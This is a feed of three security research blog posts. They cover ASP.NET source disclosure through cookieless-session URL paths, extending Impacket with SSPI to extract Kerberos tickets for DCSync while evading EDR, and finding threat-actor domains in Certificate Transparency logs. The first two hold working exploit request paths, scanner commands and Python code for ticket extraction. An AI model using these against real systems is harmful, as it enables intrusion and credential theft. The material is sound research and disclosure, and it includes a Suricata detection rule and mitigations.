Normal view

There are new articles available, click to refresh the page.
Before yesterdayPT SWARM

Source Code Disclosure in ASP.NET apps

By: admin
7 March 2024 at 12:41

Recently, I came across an interesting ASP.NET application. It appeared to be secure, but it accidentally revealed its source code. Later, I found out that the used method is applicable to disclose code of many other .NET web applications.

Here are the details. If you just see an IIS or .NET app, this is for you.

Analyzing the App

During an external penetration test, I found a web application. It consisted of two pages on different ports:

Here is a Burp screenshot with relevant HTTP headers:

HTTP headers of the 8444/tcp application

It looked like my application was written in C# on the ASP.NET platform, was functioning under IIS, and was protected by a WAF based on nginx.

Knowing this was enough to bypass the 403 error:

The content of the “/login.aspx” page after bypassing the WAF (via a cookieless session)

After the bypass, I got nothing. There weren’t even any stylesheets present. I attempted to brute force every possible username and password, every possible path and parameter. All efforts were unsuccessful.

Another boring web application? Not today!

Cookieless Sessions in ASP.NET

When you enable the ASP.NET feature in IIS, any page of the server starts accepting cookieless sessions.

The ASP.NET cookieless sessions, along with PHP’s and Java’s analogs, have always been used for WAF bypass, as we did, session fixation, XSS, and all kinds of other attacks.

Here are different formats of these “cookieless sessions”:

.NET VersionURI
V1.0, V1.1/(XXXXXXXX)/
V2.0+/(S(XXXXXXXX))/
V2.0+/(A(XXXXXXXX)F(YYYYYYYY))/
V2.0+
Source: https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10)

Furthermore, Soroush Dalili (a.k.a. @irsdl) recently discovered something new in this area: Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899 & CVE-2023-36560).

Namely, two security issues in .NET Framework were found and reported. Both were associated with the repetition of a cookieless pattern in the URI twice, potentially leading to a restriction bypass and privilege escalation.

Here are the POCs from Soroush Dalili’s article:

CVEPoC
CVE-2023-36899 /WebForm/(S(X))/prot/(S(X))ected/target1.aspx
/WebForm/(S(X))/b/(S(X))in/target2.aspx
CVE-2023-36560 /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/
/WebForm/b/(S(X))in/target2.aspx/(S(X))/

Keep in mind these POCs. At that moment, I wasn’t able to imagine any way to apply these POCs for my one-page applications.

Discovering Source Code Disclosure

I was playing with my websites once every two or three days. It all came to nothing. Just two pages, no username, and no password.

However, one day, this happened:

In just one second, the DLL had appeared on my computer! It wasn’t corrupt, and there was a Remote Code Execution discovered inside!

Investigation

After obtaining the RCE, I was able to access the target’s web.config file. Then, I reduced it to the minimum possible configuration:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.webServer>
    <modules runAllManagedModulesForAllRequests="true" />
  </system.webServer>
</configuration>

That was it. The runAllManagedModulesForAllRequests setting was the cause of our success.

Scaling the POC

It quickly became clear that the technique works on other servers. The setting runAllManagedModulesForAllRequests isn’t rare and I was able to download a few DLLs from different websites the same day.

The only thing I noticed is that it’s impossible to check the existence of the “/bin” directory:

http://Y.Y.Y.Y/ - 200
http://Y.Y.Y.Y/bin - 404
http://Y.Y.Y.Y/bin/ - 404
http://Y.Y.Y.Y/bin/Navigator.dll - 404
http://Y.Y.Y.Y/(S(x))/b/(S(x))in  - 404
http://Y.Y.Y.Y/(S(x))/b/(S(x))in/ - 404
http://Y.Y.Y.Y/(S(x))/b/(S(x))in/Navigator.dll - 200

However, by applying IIS-ShortName-Scanner, you can not only check the existence of the “/bin” directory, but also discover its content:

Executing java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'

Both IIS-ShortName-Scanner and the “::$INDEX_ALLOCATION” trick are attributed to Soroush Dalili.

Full Exploitation Algorithm

Here’s a brief guide on how to check the server on the vulnerability.

1. Check if cookieless sessions are allowed.

# If your application is in the main folder
/(S(X))/
/(Y(Z))/
/(G(AAA-BBB)D(CCC=DDD)E(0-1))/

# If your application is in a subfolder
/MyApp/(S(X))/
...

2. Optionally, use IIS-ShortName-Scanner. Note, its functionality doesn’t depend on whether cookieless sessions are enabled or not.

java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'

In addition to “/bin”, I recommend you to check other special .NET folders:

/App_Code
/App_WebReferences
/App_GlobalResources
/App_LocalResources
/App_Data
/App_Themes
/App_Browsers
/Themes
/Views
/Models
/Controllers

3. Explore 404 page.

For /(S(x))/b/(S(x))in/App.dll it should write something like /bin/App.dll or none in the output. If it’s .../b/(S(x))in/... on 404, this means the patches are installed.

4. Try to read DLLs. It’s necessary to reconstruct complete filenames from shortened 8.3 format filenames.

http://Y.Y.Y.Y/(S(x))/b/(S(x))in/MyApplicationFile.dll
http://Y.Y.Y.Y/MyApp/(S(x))/b/(S(x))in/MyApplicationFile.dll

The PDB files, if such exists, will not be accessible.

Attack Detection

A big thank you to Kirill Shipulin of our blue team for preparing the Suricata rule:

alert http any any -> any any (msg: "ATTACK [PTsecurity] Cookieless string in ASP.NET"; flow: established, to_server; http.uri; content: "/("; fast_pattern; content: "))"; distance: 0; pcre: "/\/\([A-Z]\(.*?\)\)/"; classtype: attempted-admin; sid: 10009357; rev: 1;)

Conclusion & Mitigations

For security teams

Update your Microsoft IIS and .NET Framework to the latest versions. For Windows Server 2019 and .NET Framework 4.7, KB5034619 currently fixes the source disclosure.

For mitigating short name enumerations, run “fsutil behavior set disable8dot3 1” to disable 8.3 name creation. Next, reboot your system and run “fsutil 8dot3name strip /s /v [PATH-TO-WEB-DIRETORY]” to remove all existing 8.3 file names.

For pentesters and bughunters

I would recommend checking for obvious things and tricks, including ones that should not work.

As an example, on a different project, my friend was able to download DLL files from the “/bin” directory directly, even though I have never seen this technique succeed.

References

This article was based on the following materials:

Feel free to write your thoughts about the article on our X page. Follow @ptswarm or @_mohemiv so you don’t miss our future research and other publications.

Python ❤️ SSPI: Teaching Impacket to Respect Windows SSO

By: admin
11 January 2024 at 13:08

One handy feature of our private Impacket (by @fortra) fork is that it can leverage native SSPI interaction for authentication purposes when operating from a legit domain context on a Windows machine.

As far as the partial implementation of Ntsecapi represents a minified version of Oliver Lyak’s (@ly4k_) sspi module used in his great Certipy project, I’d like to break down its core features and showcase how easily it can be integrated into known Python tooling.

Given the Bring Your Own Interpreter (BYOI) concept, the combination of Impacket usage and SSPI capabilities can allow attackers to fly under the radar of endpoint security mechanisms as well as custom network detection rules more easily. We will discuss this in more detail further in the article.

Fake TGT Delegation

The original author of the SSPI trick known as Fake TGT Delegation — which is now commonly used by hackers to obtain valid Kerberos tickets from a domain context — was Benjamin Delpy (@gentilkiwi), who implemented it in his Kekeo toolkit. By doing some SSPI GSS-API magic, we can initialize a new security context specifying the ISC_REQ_DELEGATE flag in order to trigger a TGS-REQ/TGS-REP exchange against a target service that supports Unconstrained Delegation (TRUSTED_FOR_DELEGATION). This results in having OK-AS-DELEGATE for the first TGS-REP and invoking another TGS-REQ/TGS-REP exchange, the purpose of which is to obtain a forwarded TGT for the current user returned by the KDC in the second TGS-REP.

After that, the client will shoot an AP-REQ containing the forwarded TGT inside its Authenticator (the KRB-CRED part of the Authenticator checksum) via GSS-API/Kerberos whose output stream is accessible to us. The good news is that we can decrypt the Authenticator with a cached session key of the forwarded TGT, extracted from the LSA with a non-privileged Windows API call (session key extraction does not require elevation in this case), and re-use it for our own needs.

The technique is also implemented in Rubeus‘s tgtdeleg module and is explained well by the authors: https://github.com/GhostPack/Rubeus#tgtdeleg.

A high level overview of the main Win32 API calls required for extracting Kerberos tickets from the current user context is presented in the diagram below. The holy API quartet for these operations is:

Pythonic Ntsecapi

The main purpose of adding SSPI features to the Impacket library is to efficiently re-use the current AD context in a classic Windows Single Sign-On style, eliminating the need to manually specify the target credential material to be used. Introduced in Certipy 4.0, the sspi part is intended to achieve the same goal:

Now, imagine you just got code execution on a domain-joined machine. You could run your C2 agent, open a SOCKS proxy connection, and then run Certipy through that. The problem in this scenario is that you don’t know the credentials of your current user context.

Oliver Lyak

Having successfully initialized security context and received a corresponding SSPI initial context token from SSPI GSSAPI (with an encrypted TGT inside), we can invoke LsaConnectUntrusted in order to obtain a handle to the LSA and query Authentication Packages (AP):

def get_tgt(target):
    ctx = AcquireCredentialsHandle(None, "kerberos", target, SECPKG_CRED.OUTBOUND)
    res, ctx, data, outputflags, expiry = InitializeSecurityContext(
        ctx,
        target,
        token=None,
        ctx=ctx,
        flags=ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH | ISC_REQ.ALLOCATE_MEMORY,
    )

    if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
        lsa_handle = LsaConnectUntrusted()
        kerberos_package_id = LsaLookupAuthenticationPackage(lsa_handle, "kerberos")

The further call to LsaCallAuthenticationPackage allows us to request raw ticket material associated with the current logon session which contains a session key:

def extract_ticket(lsa_handle, package_id, luid, target_name):
    message = retrieve_tkt_helper(target_name, logonid=luid)
    ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(
        lsa_handle, package_id, message
    )

    ticket = {}
    if ret_status != 0:
        raise WinError(LsaNtStatusToWinError(ret_status))
    if len(ret_msg) > 0:
        resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg)
        ticket = resp.Ticket.get_data()
        LsaFreeReturnBuffer(free_ptr)

    return ticket

Now, the operator has all the necessary information blobs to construct another copy of the Kerberos cache (from AS-REQ all the way down to KRB-CRED) in .kirbi or .ccache formats and re-use it for their own needs:

raw_ticket = extract_ticket(lsa_handle, kerberos_package_id, 0, target)
key = Key(raw_ticket["Key"]["KeyType"], raw_ticket["Key"]["Key"])
token = InitialContextToken.load(data[0][1])
ticket = AP_REQ(token.native["innerContextToken"]).native

cipher = _enctype_table[ticket["authenticator"]["etype"]]
dec_authenticator = cipher.decrypt(key, 11, ticket["authenticator"]["cipher"])
authenticator = Authenticator.load(dec_authenticator).native
if authenticator["cksum"]["cksumtype"] != 0x8003:
    raise Exception("Bad checksum")
checksum_data = AuthenticatorChecksum.from_bytes(
    authenticator["cksum"]["checksum"]
)

if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags:
    raise Exception("Delegation flag not set")
cred_orig = KRB_CRED.load(checksum_data.delegation_data).native
dec_authenticator = cipher.decrypt(key, 14, cred_orig["enc-part"]["cipher"])

# Reconstructing ccache with the unencrypted data
te = {}
te["etype"] = 0
te["cipher"] = dec_authenticator
ten = EncryptedData(te)

t = {}
t["pvno"] = cred_orig["pvno"]
t["msg-type"] = cred_orig["msg-type"]
t["tickets"] = cred_orig["tickets"]
t["enc-part"] = ten

krb_cred = KRB_CRED(t)
ccache = CCache()
ccache.fromKRBCRED(krb_cred.dump())
return ccache

That’s basically it when it comes to TGT reconstruction. Similar steps can be taken to craft an ST (get_tgs — even simpler because we can skip the AS-REQ reconstruction part and go straight to KRB-CRED message initialization) or import tickets into the current session (submit_ticket). All the mentioned Windows methods can be dynamically resolved from the appropriate shared libraries in runtime via ctypes windll without having to drop pre-compiled Python extensions on disk.

Some other good resources to study ticket management and its Python implementation are:

Making Use of SSPI in Impacket

When integrating SSPI into Impacket, I was aiming for a scenario of minimal source code modification. I don’t believe we should include this feature in the main branch due to its very specific use cases, but at the same time we want to be able to apply the SSPI module as easily as possible. I will demonstrate the steps required to enable the -sspi switch for any Impacket example (that has the Kerberos authentication option).

First, I will git clone a clean copy of the latest Impacket repo and curl Oliver’s minified sspi.py from a GitHub gist of mine.

Then, I’ll add a code snippet responsible for handling the -sspi option logic in the secretsdump.py script (an example is also available within the gist).

Now, to make things fair, I’ll ask a TGT while posing asa DC machine account and create a sacrificial process on its behalf, performing a classic Overpass-the-Key + Pass-the-Ticket attack chain.

As we can see from the image above, no credentials are provided to secretsdump.py via the command line; instead, SSPI is used to extract DC’s TGT from the current context which is saved on disk and later passed to the script inside an environment variable. Further possible use cases (like extracting STs) and other desirable improvements (like not saving tickets on disk) are left as an exercise for the reader.

Bring Your Own Pyramid

So it may look cool, but there are not many usable OpSec scenarios in which dropping pre-compiled Impacket examples on disk is better than running it remotely through a SOCKS proxy. I mean, PyInstaller does a good job generating a PE from most of the examples but such executables usually get immediately flagged. Despite the fact that making a FUD executable from Impacket is rather simple, staying in the memory of a legit interpreter is more preferable most of the time.

Another great project that we happen to use rather often during RT Ops is the Pyramid framework by Diego Capriotti (@naksyn), which is designed to operate from EDR blind spots like a Python interpreter, implementing the Bring Your Own Interpreter (BYOI) concept. Due to the fact that PEP 578 (Python Runtime Audit Hooks) is still not applied, defenders do not have an efficient way of analyzing what’s happening under the hood of CPython, so we’re relatively safe here.

Let’s say we have to perform DCSync from a target user context, but there’s no way of grabbing their cleartext password / NT hash / AES keys / Kerberos tickets or AD CS certs to be used on the attacker’s host via proxying. I will demonstrate a way to run secretsdump.py with SSPI authentication in the Pyramid way.

For the sake of this demo I will git clone Pyramid to a dedicated server, configure the web server, and make the same modifications to the secretsdump.py example as described previously.

Now, all I have to do is to drop the cradle on the target and run it with a portable Python interpreter.

Once again, there are no credentials hardcoded inside cradle.py, and the authentication routine is performed via the SSPI interaction.

Outro

There are cases when an attacker would definitely not want to touch LSASS or other sensitive Windows subsystems for intrusive credential harvesting, so SSPI negotiations may be a good alternative to obtain needed privileges. Combined with the BYOI concept, SSPI implementation for Impacket may help to remain undetectable in Python’s memory and efficiently re-use current domain context in order to achieve the “hacky” goal during a Red Team Operation.

Discovering Domains via a Time-Correlation Attack on Certificate Transparency

By: admin
9 August 2022 at 11:29

Many modern websites employ an automatic issuance and renewal of TLS certificates. For enterprises, there are DigiCert services. For everyone else, there are free services such as Let’s Encrypt and ZeroSSL.

There is a flaw in a way that deployment of TLS certificates might be set up. It allows anyone to discover all domain names used by the same server. Sometimes, even when there is no HTTPS there!

In this article, I describe a new technique for discovering domain names. Afterward, I show how to use it in threat intelligence, penetration testing, and bug bounty.

Quick Overview

Certificate Transparency (CT) is an Internet security standard for monitoring and auditing the issuance of TLS certificates. It creates a system of public logs that seek to record all certificates issued by publicly trusted certificate authorities (CAs).

To search through CT logs, Crt.sh or Censys services are usually used. Censys also adds certificates from the scan results to the database.

It’s already known that by looking through CT logs it’s possible to discover obscure subdomains or to discover brand-new domains with CMS installation scripts available.

There is much more to it. Sometimes the following or equivalent configuration is set up on the server:

# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"

This configuration means that certificates for all the server’s domains are renewed at the same time. Therefore, we can discover all these domains by a time-correlation attack on certificate transparency!

Let’s see how it can be applied in practice!

A Real Case Scenario. Let’s Encrypt

A month ago, I tried to download dnSpy, and I discovered a malicious dnSpy website. I sent several abuse reports, and I was able to block it in just 2 hours:

🧨 Be aware, dnSpy .NET Debugger / Assembly Editor has been trojaned again!

In Google’s TOP 2, there was a malicious site maintained by threat actors, who also distributed infected CPU-Z, Notepad++, MinGW, and many more.

🎯 Thanks to NameSilo, the domain has been deactivated! pic.twitter.com/EdTlFjtN4B

— Arseniy Sharoglazov (@_mohemiv) July 8, 2022

I found quite a lot of information about the threat actors who created this website online. For example, there is an article in Bleeping Computer and detailed research from Colin Cowie.

In short, a person or a group of people create malicious websites mimicking legitimate ones. The websites distribute infected software, both commercial and open source. Affected software includes, but is not limited to Burp Suite, Minecraft, Tor Browser, dnSpy, OBS Studio, CPU-Z, Notepad++, MinGW, Cygwin, and XAMPP.

The page that distributed Burp Suite

I wasn’t willing to put up with the fact that someone trojans cool open source projects like OBS Studio or MinGW, and I decided to take matters into my own hands.

Long Story Short

I sent more than 20 abuse reports, and I was able to shut down a lot of infrastructure of the threat actors:

A reply to my tweet indicating what has been additionally done (see on Twitter)

It isn’t easy to confront these threat actors. They purchase domains on different registrars using different accounts. Next, they use an individual account for each domain on Cloudflare to proxy all traffic to the destination server. Finally, they wait for some time before putting malicious content on the site, or they hide it under long URLs.

Some of the domains controlled by the threat actors are known from Twitter: cpu-z[.]org, gpu-z[.]org, blackhattools[.]net, obsproject[.]app, notepadd[.]net, codenote[.]org, minecraftfree[.]net, minecraft-java[.]com, apachefriends[.]co, ...

The question is how to discover other domains of the threat actors. Other domains may have nothing in common, and each of them would refer to Cloudflare.

This is where our time-correlation attack on certificate transparency comes into play.

Take a look at one of the certificates to the domain cpu-z[.]net, used by the threat actors:

Examining one of the certificates to the domain cpu-z[.]net (see this page on censys.io)

This certificate has the validity start field equal to 2022-07-23 13:59:54.

Now, let’s utilize the parsed.validity.start filter to find certificates issued a few seconds later:

It’s important to escape the “:” character, otherwise the filter won’t work (see this page on censys.io)

Here it is! We just discovered a domain that wasn’t known before!

Let’s open a website on this domain:

The main page of https://cr4cked[.]games/

This is exactly what we were looking for! Earlier I was able to disclose the real IP address of cpu-z[.]org. This IP address belonged to Hawk Host, and after my abuse report to them, all websites of the threat actors on Hawk Host started to show this exact page.

This proves that we discovered a domain managed by the same threat actors, and not just a random malicious domain.

A few pages later a domain blazefiles[.]net can be found. This domain was used to distribute infected Adobe products, and now it also shows the Hawk Host page.

The threat actors placed links to infected Adobe products on the “Hackers Crowd” telegram channel

There are much more domains of the threat actors that can be discovered by this technique. Thus, let’s just discuss why it works.

Why did the technique work?

The threat actors hosted their websites by software such as Plesk, cPanel, or CyberPanel. It was automatically issuing and renewing trusted certificates, and it was doing so simultaneously for all the websites.

If you try to search for the cpu-z[.]org domain in crt.sh, you’d see a bunch of certificates:

Exploring cpu-z[.]org certificates on crt.sh: https://crt.sh/?q=%25.cpu-z.org

Since the threat actors used Cloudflare, none of these certificates were ever needed.

However, we were able to utilize these non-Cloudflare certificates in the time-correlation attack and discover unknown domains of the threat actors.

DigiCert and Other CAs

DigiCert services are used by large companies for the automatic issuance of TLS certificates.

The time in the validity field of DigiCert certificates is always set to 00:00:00. The same is true for some other CAs, for example, ZeroSSL.

An example of a DigiCert certificate

But if we look at crt.sh, we can see that crt.sh IDs of certificates owned by the same company may be placed quite close to each other:

Exploring certificates of Twitter, a company that has one of the biggest bug bounty programs

Therefore, when a CA doesn’t include the exact issuing time to certificates, the certificates issued close in time can be discovered by their positions in CT logs.

Additionally, you may find two types of certificates in the logs: precertificates and leaf certificates. If you have access to the leaf certificate, you can take a look at the signed certificate timestamp (SCT) filed in it:

An example of getting timestamp from a leaf certificate

The SCT field should always contain a timestamp, even when the time in the validity field is 00:00:00.

What’s Next

Probably, some kind of tooling or a service is needed to help with discovering domains by this technique.

The ways to correlate domains that may be utilized:

  • Analyzing certificates with close timestamps in the issuance field
  • Analyzing certificates with close timestamps in the SCT field
  • Analyzing certificates that come close to each other in CT logs
  • Analyzing time periods between known certificates
  • Analyzing certificates issued after a round period of time from the known timestamps
  • Getting an intersection for sets of certificates issued close in time regarding the known timestamps
  • The same, but regarding positions in CT logs
  • Grabbing CT logs in real time and timestamping the certificates on our own

Regarding mitigation, regularly inspect CT logs for your domains. You may discover not only domains affected by attacks on CT but also certificates issued by someone attacking your infrastructure.

Feel free to comment on this article on our Twitter. Follow @ptswarm or @_mohemiv so you don’t miss our future research and other publications.

❌
❌